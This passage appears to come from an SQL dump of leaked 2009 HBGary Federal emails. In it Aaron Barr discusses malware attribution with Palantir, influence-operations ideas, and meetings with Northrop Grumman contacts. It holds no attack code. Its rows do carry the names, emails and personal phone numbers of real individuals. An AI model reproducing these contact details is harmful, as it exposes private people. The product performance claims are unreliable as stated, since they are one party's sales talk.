\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10569,'aaron_hbgary_com/10569.html'),(369,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999781.M274646P3547Q370.eml','rosemary.wenchel@osd.mil','Attribution and Malware Identification','Hello Rosemary,\r\n\r\nI spoke to you briefly at the AFCEA conference this week about Attribution.  I find myself in an ironic position, my previous position was as Northrop Grumman\'s Technical Lead for their Cyber Campaign and the Technical Director for the Cyber and SIGINT BU.  I have had many conversations with Bill Studeman and Rich Haver where I adamantly disagreed that we can tackle Attribution for some key reasons:  We have no accurate representation/characterization of our cyber resources, very little situational awareness, little integration of CND/CNE and multi-INT...for starters.  Then I took the position as HBGarys CEO for and started seeing the problem a bit differently.\r\n\r\nYou can mask the IP, the routes you take on the net, but you can\'t hide the attributes of the binary itself.  If there was a malware genome that characterized, categorized the functions, the authors fingerprints in code, and then were able to associate that information with externals, maybe some bit of attribution is possible.\r\n\r\nSo starting out I am taking the capabilities of my company, HBGary, to do malware identification and characterization, author fingerprinting and marrying those with Palantir to do meta link analysis of cyber externals.  I think this approach will be a very good first step, but I want to go further.  Are there any folks you could point me to that would be interested in discussing and/or participating in this type of effort?  I met at the conference Ralph Ghent from NSAs Cyber Operations Integration office, who is going to put me in contact with some folks at Carnegie Melon that are working on parts of this.\r\n\r\nI also noticed your responsibilities span Information Operations.  I spent 7 years building a net-centric based influence capability for a non-DoD customer that was amazing in capability but insular and narrow in scope.  I think such a persistent capability would be very beneficial to the militaries mission.  So wondering if there would be anyone you are aware of that would be interested to discuss current government capabilities and relevance to DoD missions.\r\n\r\nI also have some ideas and experience working with new interactive technologies (MMO, VWs, Mobile geo-referenced applications) and how those can be used for better influence, strategic communications, collection.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478',13172,'aaron_hbgary_com/13172.html'),(370,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999781.M699508P3547Q371.eml','\"Tom Conroy\" <conroy.tom@gmail.com>','Loving Life','Tom,\r\n\r\nFirst I just have to say...I have not had this much fun since Ted and I were working with you to win Romas and Bluebird.  I spent the last few days at the AFCEA solutions conference and had lots of folks, government and industry, wanting to talk with me.  HBGary, and this is as unbias as I can make it, has some amazing technology that I think will be very significant in the near future.  Their Malware Genome and Digital DNA products are the future of cyber protection, based on behavior and characteristics of malware, and they work.  Right now we have a malware genome of 3500 traits/characteristics and it catches 75% of all malware, including zero day attacks.\r\n\r\nI have been working with Palantir and Xetron to develop this group that is going to try and tackle some bits of Attribution.  I received some advise from some NSA folks at the conference to also include Carnegie Melon as they are just starting a similar effort for NSA, so I will reach out to them.\r\n\r\nBrian Masterson will probably reach out to you for some advice/direction.  Xetron is very worried about IS.  My EXTERNAL opinion, IS has lost or never had its way for cyber, Xetron is the best thing Northrop has going and they are hungry to make a difference.  I told Brian you would be an advocate as much as you could.  For that matter, having gone around these last few weeks talking with various companies (GD, SAIC, CSC, Mantech)  Northrop is drastically falling behind in cyber.  Northrop has hitched its wagon to NCR and TU, both of which are the absolute wrong things to develop a successful cyber strategy on.  Just my opinion.\r\n\r\nI am meeting with Bill Luti Monday morning.  I am extremely curious what he wants to talk about, looking forward to it.\r\n\r\nAaron',9303,'aaron_hbgary_com/9303.html'),(371,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999781.M88428P3547Q369.eml','\"Robert Higgins\" <Higgins.Robert@orbital.com>','Re: Voice from the past','Great.  How\'s is your tomorrow afternoon or next Friday?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 3, 2009, at 6:53 PM, Robert Higgins\r\n wrote:\r\n\r\n> I would be great to discuss some future business together.  We have\r\n> expanded our HW and SW capabilities and I definitely would like to\r\n> see how\r\n> we can collectively expand our businesses.\r\n>\r\n> Robert Higgins\r\n> 571 338-9366\r\n>\r\n>\r\n> |------------>\r\n> | From:      |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |Aaron Barr\r\n>  hbgary.com>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                      |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n> |------------>\r\n> | To:        |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |Robert Higgins\r\n>  orbital.com>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                    |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n> |------------>\r\n> | Date:      |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |12/03/2009 06:35\r\n> PM\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                      |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n> |------------>\r\n> | Subject:   |\r\n> |------------>\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>  |Voice from the\r\n> past\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>                                                                      |\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> ---\r\n>> --------------------------------------------------------------------|\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Hi Robert,\r\n>\r\n> It\'s been a long time.  I am no longer with Northrop, now the CEO for\r\n> HBGary Federal.  Short of it is, we were talking to ARSTRAT about our\r\n> capabilities and they are very interested to do something but kind of\r\n> in passing said if we had a satellite/strategic comma component to our\r\n> offering we would have it all.  Naturally I thought of you.  Do you\r\n> have some time for coffee or something to catch up?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> 719.510.8478\r\n>\r\n> From my iPhone\r\n>\r\n>\r\n>\r\n>\r\n> -----------------------------------------\r\n> Notice:  This e-mail is intended solely for use of the individual\r\n> or entity to which it is addressed and may contain information that\r\n> is proprietary, privileged and exempt from disclosure under\r\n> applicable law.  If the reader is not the intended recipient or\r\n> agent responsible for delivering the message to the intended\r\n> recipient, you are hereby notified that any dissemination,\r\n> distribution or copying of this communication is strictly\r\n> prohibited.  This communication may also contain data subject to\r\n> U.S. export laws.  If so, that data subject to the International\r\n> Traffic in Arms Regulation cannot be disseminated, distributed or\r\n> copied to foreign nationals, residing in the U.S. or abroad, absent\r\n> the express prior approval of the U.S. Department of State.   If\r\n> you have received this communication in error, please notify the\r\n> sender by reply e-mail and destroy the e-mail message and any\r\n> physical copies made of the communication.  Thank you.\r\n',11759,'aaron_hbgary_com/11759.html'),(372,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999781.M959481P3547Q372.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','Hi Rich,Nothing like hitting the ground running. &nbsp;Not sure if your going to be in any of the events with Greg next week, but I would like a chance to sit down and talk with you and martin at some point soon.AaronOn Nov 23, 2009, at 11:41 AM, Rich Cummings wrote:Welcome aboard Aaron and Ted!&nbsp; We’re very excited to have you guys on the team and expect great things in 2010!&nbsp;My best,Rich&nbsp;Rich Cummings | CTO | HBGary, Inc.Office 301-652-8885 x112Cell Phone 703-999-5012Website:&nbsp;&nbsp;www.hbgary.com&nbsp;|email:&nbsp;rich@hbgary.com&nbsp;&nbsp;&nbsp;&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 11:14 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Welcome Aaron Barr and Ted Vera to the HBGary management team!&nbsp;I am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players. &nbsp;Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard!&nbsp;-Greg HoglundCEO, HBGary, Inc.',12291,'aaron_hbgary_com/12291.html'),(373,'2009-12-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999782.M158658P3547Q373.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Beth POwer-Lobbyist for DHS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI think next week is not going to work out.&nbsp; Let me know as soon\r\nas you can on the next class. I don&#8217;t want to slow down us getting this\r\nstarted.\r\n\r\n&nbsp;\r\n\r\nBrian\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 6:20 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Fwd: Beth POwer-Lobbyist for DHS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI. &nbsp;We can get u in another class on January and one\r\nor two others.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot; Penny\r\nHoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: December 3, 2009 5:25:17 PM EST\r\nTo: &quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Beth POwer-Lobbyist for DHS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe do it pretty often. &nbsp;We can do another in January if\r\nwe get the student\r\nwe need, we are doing one here in February and another in DC in March\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Thursday, December 03, 2009 1:42 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Beth POwer-Lobbyist for DHS\r\n\r\nHow often do u teach the class?\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Dec 3, 2009, at 12:44 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n&lt;mime-attachment.ics&gt;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14435,'aaron_hbgary_com/14435.html'),(374,'2009-12-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999782.M372688P3547Q374.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Beth POwer-Lobbyist for DHS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAlso, we need to talk about SOCOM.\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 6:20 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Fwd: Beth POwer-Lobbyist for DHS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI. &nbsp;We can get u in another class on January and one\r\nor two others.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot; Penny\r\nHoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: December 3, 2009 5:25:17 PM EST\r\nTo: &quot;\'Aaron Barr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Beth POwer-Lobbyist for DHS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe do it pretty often. &nbsp;We can do another in January if\r\nwe get the student\r\nwe need, we are doing one here in February and another in DC in March\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Thursday, December 03, 2009 1:42 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Beth POwer-Lobbyist for DHS\r\n\r\nHow often do u teach the class?\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Dec 3, 2009, at 12:44 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n&lt;mime-attachment.ics&gt;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15609,'aaron_hbgary_com/15609.html'),(375,'2009-12-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999782.M565773P3547Q375.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary interaction','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nHBGary interaction\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nForgot to tell  you this.   We got no issues.\r\n\r\n&nbsp;\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Simoni, Martin P.\r\n(Xetron) \r\nSent: Thursday, December 03, 2009 8:54 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Thompson, Bill (Xetron)\r\nSubject: Re: HBGary interaction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo issues, I informed John yesterday, and said the PIEA was coming\r\nhis way. He should sign it, if he does not let me know ASAP\r\n\r\nM\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian (Xetron) \r\nTo: Simoni, Martin P. (Xetron) \r\nCc: Thompson, Bill (Xetron) \r\nSent: Thu Dec 03 06:34:25 2009\r\nSubject: HBGary interaction \r\n\r\n\r\n\r\nMartin,\r\n\r\nAre there any issues\r\nNG would have with Xetron working with HBGary Federal given\r\nthat Aaron is the\r\nCEO?&nbsp; I have heard that Aaron is untouchable from a consultant perspective\r\nbut are there issues with him\r\nbeing part of HBGary.&nbsp; \r\n\r\nThanks,\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3551,'aaron_hbgary_com/3551.html'),(376,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999782.M801214P3547Q376.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: HBGary interaction','From my iPhoneBegin forwarded message:From: &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: December 4, 2009 3:16:16 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: FW: HBGary interaction\r\n\r\n\r\n\r\n\r\nForgot to tell  you this.   We got no issues.\r\n\r\n \r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3543 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Simoni, Martin P.\r\n(Xetron) \r\nSent: Thursday, December 03, 2009 8:54 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Thompson, Bill (Xetron)\r\nSubject: Re: HBGary interaction\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNo issues, I informed John yesterday, and said the PIEA was coming\r\nhis way. He should sign it, if he does not let me know ASAP\r\n\r\nM\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian (Xetron) \r\nTo: Simoni, Martin P. (Xetron) \r\nCc: Thompson, Bill (Xetron) \r\nSent: Thu Dec 03 06:34:25 2009\r\nSubject: HBGary interaction \r\n\r\n\r\n\r\nMartin,\r\n\r\nAre there any issues\r\nNG would have with Xetron working with HBGary Federal given\r\nthat Aaron is the\r\nCEO?  I have heard that Aaron is untouchable from a consultant perspective\r\nbut are there issues with him\r\nbeing part of HBGary.  \r\n\r\nThanks,\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\n\r\nNorthrop\r\nGrumman/Xetron\r\n\r\nChief\r\nTechnology Officer, IO Programs\r\n\r\nPh:\r\n513-881-3591\r\n\r\nCell:\r\n513-706-4848\r\n\r\nFax: 513-881-3543\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',894,'aaron_hbgary_com/894.html'),(377,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999782.M992957P3547Q377.eml','\"Mike Steinmetz\" <intruder_pilot@yahoo.com>','Re: Can you meet early on the 11th of Dec near Fairlakes?','Zig,Wifes sick and have to take kids to school.  Let&#39;s reschedule.Aaron  From my iPhoneOn Dec 2, 2009, at 7:50 PM, Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt; wrote:\r\nYes\r\nLet me lock down a location and we&#39;ll have an 8am Breakfast\r\nMike\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt;\r\nSent: Wed, December 2, 2009 12:05:24 PMSubject: Re: Can you meet early on the 11th of Dec near Fairlakes?\r\nSure.  Can we do it early in fairlakes, say 8am?  I have to get to the capital area for a meeting at 1115.\r\n\r\nAaron\r\nFrom my iPhone\r\nOn Dec 2, 2009, at 1:58 PM, Mike Steinmetz &lt;intruder_pilot@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nAre you up for a breakfast on Friday the 11th near fairlakes or Dulles?\r\nMike\r\n',6678,'aaron_hbgary_com/6678.html'),(378,'2009-12-04','\"Luti, William\" <William.Luti@ngc.com>','/aaron@hbgary.com/new/1296999783.M237230P3547Q378.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I have an open day (Friday) so if you&#8217;d like to get\r\ntogether today at Greenberry coffee in McLean I can make it. If not, I believe\r\nwe are on for Monday morning. Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, thanks for the update and I&#8217;m delighted you landed\r\nwell. Yes, let&#8217;s get together for coffee soon to catch up. I&#8217;ll\r\nhave Kathy Zavala set something up this week (I&#8217;m in LA but back\r\nThursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response. &nbsp;Their new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat. &nbsp;My\r\nfirst meeting in my new position was with Palantir today to discuss the\r\nstrength of an HBGary/Palantir combined capability. &nbsp;I believe marrying\r\nHBGary\'s strong malware analysis and fingerprinting capabilities with Palantirs\r\nlink analysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution. &nbsp;HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena. &nbsp;Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons. &nbsp;Small companies with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations. &nbsp;Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',987,'aaron_hbgary_com/987.html'),(379,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999783.M429121P3547Q379.eml','\"Luti, William\" <William.Luti@ngc.com>','Re: Status','Great.  I am taking my kids to school right now and have am 11am meeting down near the capital, but I am free all afternoon.AaronFrom my iPhone\r\nOn Dec 4, 2009, at 7:56 AM, &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nAaron, I have an open day (Friday) so if you’d like to get\r\ntogether today at Greenberry coffee in McLean I can make it. If not, I believe\r\nwe are on for Monday morning. Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, thanks for the update and I’m delighted you landed\r\nwell. Yes, let’s get together for coffee soon to catch up. I’ll\r\nhave Kathy Zavala set something up this week (I’m in LA but back\r\nThursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response.  Their new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat.  My\r\nfirst meeting in my new position was with Palantir today to discuss the\r\nstrength of an HBGary/Palantir combined capability.  I believe marrying\r\nHBGary&#39;s strong malware analysis and fingerprinting capabilities with Palantirs\r\nlink analysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution.  HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena.  Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons.  Small companies 